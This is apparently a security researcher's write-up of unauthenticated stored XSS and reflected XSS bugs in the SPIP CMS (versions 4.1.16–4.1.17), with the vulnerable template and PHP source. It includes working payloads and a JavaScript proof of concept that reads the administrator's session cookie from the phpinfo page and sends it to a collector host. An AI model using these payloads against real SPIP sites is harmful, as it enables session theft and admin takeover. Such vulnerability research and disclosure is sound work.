Introduction

Following SPIP’s announcement of a recent patch thanks to Laluka’s vulnerability report, I decided to take a quick look at the source code, patches, etc.

Suite au signalement d’une faille critique de sécurité, nous publions les versions SPIP 4.3.0-alpha2, 4.2.13, 4.1.16. Un grand merci à Laluka (Jacques-Chevallier Louka) pour le signalement. - link

If you’re not familiar with SPIP, I recommend that you read my previous blogposts, where I present the various RCEs (post-auth and pre-auth) that I’ve discovered over time.

An important detail in the patch note is that, not all versions of SPIP are vulnerable, so we need to look at the versions concerned (for my part, I clearly wasted time auditing unaffected versions).

Ces versions corrigent une faille critique permettant l’exécution de code (RCE) depuis l’espace public sur les branches 4.2 et 4.3 de SPIP.

Unfortunately, I audited the wrong versions, but this enabled me to identify new bugs that could be reproduced in the latest versions (4.1.16).

Unauthenticated Stored XSS

How?

An unauthenticated or authenticated user can inject a payload (JavaScript code) into his message. The payload is inserted into the href attribute of an <a> tag, which will execute the malicious code when the object is clicked.

alt-text

<file 1|lien=j&#97;v&#97;Script&colon;alert('IVOIRE')>

The following colored information can be observed:

  • In blue we choose to set the model file.
  • Then, the value 1 corresponds to the id of a document that has been uploaded (the attacker doesn’t need to know this id, he just needs to specify a valid one, knowing that it’s an integer that increments for each document uploaded and that the initial value is 1). We’ll see that, depending on the file type, rendering is performed differently, to the attacker’s advantage.
  • Then, we specify the lien parameter to the model.
  • Finaly, we specify the value of the lien parameter.

alt-text

I’d like to point out that the “Prévisualiser” feature is not the only one affected by the bug, but the rendering of messages as well. As soon as a user clicks on the logo, the malicious JavaScript code executes.

alt-text

But what happens if the attacker specifies the id of a document being an image?

alt-text

alt-text

alt-text

In the case of an image, it’s even better, depending on the size of the image, it takes up more or less space on the page, but you can also specify other parameters such as (width respectively largeur, height respectively hauteur).

<image 2|lien=j&#97;v&#97;Script&colon;alert('IVOIRE')|hauteur=130|largeur=037>

alt-text

Why?

To understand the bug, simply read the following three files.

  • plugins-dist/medias/modeles/file.html
    • Respectively plugins-dist/medias/modeles/image.html for model image.
  • ecrire/inc/filtres.php

File: plugins-dist/medias/modeles/file.html

<BOUCLE_file (DOCUMENTS) {id_document=#ENV{id,#ENV{id_document}}} {tout}>
[(#MEDIA|=={image}|oui)
  #SET{fichier,#URL_DOCUMENT}
  #SET{width,#LARGEUR}
  #SET{height,#HAUTEUR}
  #SET{url,#ENV{lien}}
][(#MEDIA|=={image}|non)
  #SET{image,#LOGO_DOCUMENT}
  [(#SET{fichier,[(#GET{image}|extraire_attribut{src})]})]
  [(#SET{width,[(#GET{image}|extraire_attribut{width})]})]
  [(#SET{height,[(#GET{image}|extraire_attribut{height})]})]
  #SET{url,#ENV{lien,#URL_DOCUMENT}}
][<!--(#REM)


  Si largeur ou hauteur fournit en parametre, redimensionner

-->][
(#ENV{largeur,0}|ou{#ENV{hauteur,0}})
  #SET{fichier,#GET{fichier}|image_reduire{#ENV{largeur,0},#ENV{hauteur,0}}}
  #SET{width,#GET{fichier}|largeur}
  #SET{height,#GET{fichier}|hauteur}
  #SET{fichier,#GET{fichier}|extraire_attribut{src}}
]
[(#SET{title,[(#TYPE_DOCUMENT) - [(#TAILLE|taille_en_octets)]]})]
[(#SET{legende,#INCLURE{fond=modeles/document_legende, env}|trim})]
[(#MEDIA|=={image}|oui) #SET{title,#TITRE|sinon{#GET{title}}]
<div
  class="[(#ID_DOCUMENT|medias_modele_document_standard_classes{file}) ]spip_lien_ok"[
  (#ID_DOCUMENT|medias_modele_document_standard_attributs{file})
]>
<figure class="spip_doc_inner">
[<a href="(#GET{url}|attribut_url)"[
  class="(#ENV{lien_class}|concat{' spip_doc_lien'}|attribut_html)"] title='[(#GET{title}|attribut_html)]'[
  (#ENV{lien}|?{'',type="#MIME_TYPE"})]>]<img src='[(#GET{fichier}|attribut_url)]' width='[(#GET{width}|attribut_html)]' height='[(#GET{height}|attribut_html)]' alt='' />[(#GET{url}|?{</a>})]
#GET{legende}
</figure>
</div>
</BOUCLE_file>
#FILTRE{trim}

File: plugins-dist/medias/modeles/image.html

[(#REM)

  Modele pour les images

]
<BOUCLE_image (DOCUMENTS) {media=image} {id_document=#ENV{id,#ENV{id_document}}} {inclus=image} {mode?} {tout}>
[(#SET{autolien,#MEDIA|media_determine_autolien{#EXTENSION,#LARGEUR,#HAUTEUR,#ID_DOCUMENT}|oui})]
[(#SET{image,[(#ENV{largeur}|ou{#ENV{hauteur}}|?{
    [(#FICHIER|image_reduire{#ENV{largeur,10000},#ENV{hauteur,10000}})],
    [<img src='(#URL_DOCUMENT|attribut_url)'[ width="(#LARGEUR|attribut_html)"][ height="(#HAUTEUR|attribut_html)"]/>]})]})]
[(#SET{image,#GET{image}|inserer_attribut{alt,#ENV{alt,#ALT}|sinon{''}}})]
[(#SET{legende,#INCLURE{fond=modeles/document_legende, env}|trim})]
#SET{largeur,#GET{image}|largeur}
<div
  class="[(#ID_DOCUMENT|medias_modele_document_standard_classes{image}) ]spip_lien_ok"[
  (#ID_DOCUMENT|medias_modele_document_standard_attributs{image})
]>
<figure class="spip_doc_inner">
[<a href="(#ENV{lien}|attribut_url)"[ class="(#ENV{lien_class}|concat{' spip_doc_lien'}|trim|attribut_html)"]>]
[(#ENV{lien}|non|et{#GET{autolien}})<a href="[(#URL_DOCUMENT|attribut_url)]" class="spip_doc_lien mediabox" type="#MIME_TYPE">]
    #GET{image}
[(#ENV{lien}|ou{#GET{autolien}}|?{</a>})]
#GET{legende}
</figure>
</div>
</BOUCLE_image>
<INCLURE{fond=modeles/file,env} />
<//B_image>

File: ecrire/inc/filtres.php


...

function attribut_url(?string $texte): string {
  if ($texte === null || $texte === '') {
    return '';
  }
  $texte = entites_html($texte, false, false);
  $texte = str_replace(["'", '"'], ['&#039;', '&#034;'], $texte);
  return preg_replace(
    ['/&(amp;|#38;)/', '/&(?![A-Za-z]{0,4}\w{2,3};|#[0-9]{2,5};)/'],
    ['&', '&amp;'],
    $texte
  );
}

...

To go further

It is possible to convert this Stored XSS without authentication into an RCE. To do this, all we need to do is create a payload that leaks the administrator’s cookie.

But how to do this since the cookie is HttpOnly? Wouldn’t the phpinfo() feature help us to retrieve the cookie’s value?

alt-text

Let’s check it out by looking at the screenshot below.

alt-text

We can even check whether the user is an admin via the spip_admin cookie.

It’s now super simple to retrieve the value of an adminsitrator’s cookie.

const phpinfo_url = 'http://127.0.0.1/Projects/spip-v4.1.16/ecrire/?exec=info'; 

function load(url) {
  var xhr = new XMLHttpRequest();

  xhr.onreadystatechange = () => {
    if (xhr.readyState === 4) {
      var arr = xhr.response.match(/spip_session=(.*?);/) || [""];
      var i = new Image();
      i.src = 'http://127.0.0.1:1337/?cookie=' + btoa(arr[0]);
    }
  };

  xhr.open('GET', url, true);
  xhr.withCredentials = true;
  xhr.send(null);
}

load(phpinfo_url);

Once we have a valid payload (here it’s just a POC) all we have to do is encode it (base64). Then simply insert it into one of the payloads presented above.

<image 2|lien=j&#97;v&#97;Script&colon;eval(atob('Y29uc3QgcG...uZm9fdXJsKTs='))>

alt-text

Authenticated self reflected XSS (also works without authentication)

How?

This bug is clearly useless, but who knows, maybe someone will manage to exploit it differently. By playing with the parsing of the “Preview” functionality, it’s possible to force the server to return an image tag with controlled arguments (especially the attribute onerror).

champ=TAGS&objet=*&data=<img src='<img src=x'>"onerror="alert(1)">

alt-text

alt-text

Why?

To understand the bug, simply read the following three files.

  • plugins-dist/porte_plume/prive/porte_plume_preview.html
  • plugins-dist/porte_plume/porte_plume_fonctions.php
  • ecrire/inc/filtres_images_lib_mini.php

File: plugins-dist/porte_plume/prive/porte_plume_preview.html

#CACHE{0}
[(#HTTP_HEADER{Content-Type: text/html; charset=[(#VAL|pp_charset)]})]
<div class="preview">
[(#ENV*{data}|traitements_previsu{#ENV*{champ},#ENV*{objet}}|image_reduire{500,0}|liens_absolus)]
[<hr style='clear:both;' /><div class="notes">(#NOTES)</div>]
</div>

File: plugins-dist/porte_plume/porte_plume_fonctions.php


...

function traitements_previsu($texte, $nom_champ = '', $type_objet = '', $connect = null) {
  include_spip('public/interfaces'); // charger les traitements

  global $table_des_traitements;
  if (!strlen($nom_champ) || !isset($table_des_traitements[$nom_champ])) {
    $texte = propre($texte, $connect);
  } else {
    include_spip('base/abstract_sql');
    $table = table_objet($type_objet);
    $ps = $table_des_traitements[$nom_champ];
    if (is_array($ps)) {
      $ps = $ps[(strlen($table) && isset($ps[$table])) ? $table : 0];
    }
    if (!$ps) {
      $texte = propre($texte, $connect);
    } else {
      // [FIXME] Éviter une notice sur le eval suivant qui ne connait
      // pas la Pile ici. C'est pas tres joli...
      $Pile = [0 => []];
      // remplacer le placeholder %s par le texte fourni
      eval('$texte=' . str_replace('%s', '$texte', $ps) . ';');
    }
  }
  // il faut toujours securiser le texte prévisualisé car il peut contenir n'importe quoi
  // et servir de support a une attaque xss ou vol de cookie admin
  // on ne peut donc se fier au statut de l'auteur connecté car le contenu ne vient pas
  // forcément de lui
  return safehtml($texte);
}

...

File: ecrire/inc/filtres_images_lib_mini.php


...

function process_image_reduire($fonction, $img, $taille, $taille_y, $force, $process = 'AUTO') {

  ...

  if (!is_array($image) or !$image['largeur'] or !$image['hauteur']) {
    spip_log("image_reduire_src:pas de version locale de $img ou extension non prise en charge");
    // on peut resizer en mode html si on dispose des elements
    [$srcw, $srch] = taille_image($img);
    if ($srcw and $srch) {
      [$w, $h] = _image_ratio($srcw, $srch, $taille, $taille_y);

      return _image_tag_changer_taille($img, $w, $h);
    }
    // la on n'a pas d'infos sur l'image source... on refile le truc a css
    // sous la forme style='max-width: NNpx;'
    return inserer_attribut(
      $img,
      'style',
      "max-width: ${taille}px;max-width: min(100%,${taille}px); max-height: ${taille_y}px"
    );
  }

  ...

}

...

It was short, but there’s no need to go into too much detail as reading this source code really gives you a headache. Thank you for taking the time to read this article.


UPDATE 2024-06-23:

  • Version 4.1.17 is also vulnerable.